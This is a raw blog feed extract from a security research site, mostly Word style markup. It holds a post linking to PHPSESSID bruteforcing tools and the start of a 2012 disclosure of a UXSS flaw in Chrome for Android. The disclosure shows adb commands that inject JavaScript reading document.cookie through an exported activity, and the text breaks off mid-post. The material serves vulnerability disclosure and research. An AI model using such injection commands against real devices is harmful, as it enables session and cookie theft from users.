  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="19" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/&gt;
  &lt;w:LsdException Locked="false" Priority="21" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/&gt;
  &lt;w:LsdException Locked="false" Priority="31" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/&gt;
  &lt;w:LsdException Locked="false" Priority="32" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/&gt;
  &lt;w:LsdException Locked="false" Priority="33" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Book Title"/&gt;
  &lt;w:LsdException Locked="false" Priority="37" Name="Bibliography"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:"Обычная таблица";
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:"";
 mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
 mso-para-margin:0cm;
 mso-para-margin-bottom:.0001pt;
 mso-pagination:widow-orphan;
 font-size:10.0pt;
 font-family:"Times New Roman","serif";}
&lt;/style&gt;
&lt;![endif]--&gt;

&lt;br /&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US" style="color: black; mso-ansi-language: EN-US;"&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US" style="color: black; mso-ansi-language: EN-US;"&gt;CUDA
PHPSESSID Bruteforcer – a program to bruteforce PHPSESSID and predict
pseudorandom numbers in PHP: &lt;a href="http://www.ptsecurity.ru/download/phpsessid_cuda.zip" target="_blank"&gt;phpsessid_cuda.zip&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;
&lt;span lang="EN-US" style="color: black; mso-ansi-language: EN-US;"&gt;CPU
PHPSESSID Bruteforcer: CPU version that supports distributed computing: &lt;a href="http://www.ptsecurity.ru/download/PHPSESSIDBruteforcer.zip" target="_blank"&gt;PHPSESSIDBruteforcer.zip&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span lang="EN-US" style="color: black; mso-ansi-language: EN-US;"&gt;Relevant article: &lt;a href="http://blog.ptsecurity.com/2012/08/not-so-random-numbers-take-two.html" target="_blank"&gt;Not So Random Numbers. Take Two &lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
  DefSemiHidden="true" DefQFormat="false" DefPriority="99"
  LatentStyleCount="267"&gt;
  &lt;w:LsdException Locked="false" Priority="0" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Normal"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="heading 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/&gt;
  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 7"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 8"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 9"/&gt;
  &lt;w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/&gt;
  &lt;w:LsdException Locked="false" Priority="10" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Title"/&gt;
  &lt;w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/&gt;
  &lt;w:LsdException Locked="false" Priority="11" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/&gt;
  &lt;w:LsdException Locked="false" Priority="22" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Strong"/&gt;
  &lt;w:LsdException Locked="false" Priority="20" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/&gt;
  &lt;w:LsdException Locked="false" Priority="59" SemiHidden="false"
   UnhideWhenUsed="false" Name="Table Grid"/&gt;
  &lt;w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/&gt;
  &lt;w:LsdException Locked="false" Priority="1" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/&gt;
  &lt;w:LsdException Locked="false" Priority="34" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/&gt;
  &lt;w:LsdException Locked="false" Priority="29" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Quote"/&gt;
  &lt;w:LsdException Locked="false" Priority="30" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="19" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/&gt;
  &lt;w:LsdException Locked="false" Priority="21" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/&gt;
  &lt;w:LsdException Locked="false" Priority="31" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/&gt;
  &lt;w:LsdException Locked="false" Priority="32" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/&gt;
  &lt;w:LsdException Locked="false" Priority="33" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Book Title"/&gt;
  &lt;w:LsdException Locked="false" Priority="37" Name="Bibliography"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:"Обычная таблица";
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:"";
 mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
 mso-para-margin:0cm;
 mso-para-margin-bottom:.0001pt;
 mso-pagination:widow-orphan;
 font-size:10.0pt;
 font-family:"Times New Roman","serif";}
&lt;/style&gt;
&lt;![endif]--&gt;

&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;
&lt;span lang="EN-US" style="color: black; mso-ansi-language: EN-US;"&gt;Exploits
will be published later.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/11/workshop-random-numbers-take-two-at.html</link><author>noreply@blogger.com (Positive Research)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-1554541432958840227</guid><pubDate>Wed, 31 Oct 2012 07:47:00 +0000</pubDate><atom:updated>2013-05-16T23:21:00.099-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">Best of Positive Research</category><category domain="http://www.blogger.com/atom/ns#">android</category><category domain="http://www.blogger.com/atom/ns#">google chrome</category><title>Google Chrome for Android — UXSS and Credential Disclosure</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-YAKYO1wMMH8/UJDW7S-sJAI/AAAAAAAAB6c/8Fk_xlJS358/s1600/logo.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-YAKYO1wMMH8/UJDW7S-sJAI/AAAAAAAAB6c/8Fk_xlJS358/s1600/logo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
Here we go.&lt;br /&gt;
In July 2011, Roee Hay and Yair Amit from the IBM Research Group found the &lt;a href="http://blog.watchfire.com/files/advisory-android-browser.pdf" target="_blank"&gt;UXSS vulnerability&lt;/a&gt; in the default Android browser. This bug allows a malicious application to insert JavaScript code in the context of an arbitrary domain and stole Cookies or to do some evil things. Anyway, this bug was fixed in Android 2.3.5.&lt;br /&gt;
&lt;br /&gt;
On June 21, 2012, Google Chrome for Android was released. I’ve found some interesting bugs there. Just have a look.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h2 style="text-align: left;"&gt;
UXSS&lt;/h2&gt;
As expected, the main Chrome activity isn't affected by this vulnerability. However, let’s view the AndroidManifest.xml file from Chrome .apk.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-OpWfBggfYAE/UJDTJOiY9BI/AAAAAAAAB5s/zwayXcTkr4g/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="128" src="http://1.bp.blogspot.com/-OpWfBggfYAE/UJDTJOiY9BI/AAAAAAAAB5s/zwayXcTkr4g/s640/1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
You can see that the class com.google.android.apps.chrome.SimpleChromeActivity can be called from another application, since it has the &lt;intent-filter&gt; directive declared.&lt;/intent-filter&gt;&lt;br /&gt;
&lt;br /&gt;
Decompile classes.dex from apk and look at the SimpleChromeActivity class.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-G-TS-UzAiKA/UJDTPMzOxGI/AAAAAAAAB50/ZYY1P4c8zYc/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="410" src="http://2.bp.blogspot.com/-G-TS-UzAiKA/UJDTPMzOxGI/AAAAAAAAB50/ZYY1P4c8zYc/s640/2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The onCreate method provided above shows that a new URL will be loaded in the current tab without opening a new tab.&lt;br /&gt;
&lt;br /&gt;
Here is a couple of ways to start this activity — via Android API or Activity Manager. Calls from Android API are a bit complicated, so I used "am" command from the adb shell.&lt;br /&gt;
&lt;br /&gt;
shell@android:/ $ am start -n com.android.chrome/com.google.android.apps.chrome.SimpleChromeActivity -d 'http://www.google.ru'&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-yI9S5iLZAmA/UJDT1_-C7uI/AAAAAAAAB58/zdJIlejsMh4/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://3.bp.blogspot.com/-yI9S5iLZAmA/UJDT1_-C7uI/AAAAAAAAB58/zdJIlejsMh4/s640/3.png" width="360" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
I think here is a non-security problem with content displaying. As we can judge by the title, Chrome loaded &lt;a href="http://www.google.ru/"&gt;www.google.ru&lt;/a&gt; in SimpleChromeActivity instead of Main, and this activity has access to the Chrome Cookies database. The next step is injecting JavaScript code.&lt;br /&gt;
&lt;br /&gt;
shell@android:/ $ am start -n com.android.chrome/com.google.android.apps.chrome.SimpleChromeActivity -d 'javascript:alert(document.cookie)'&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
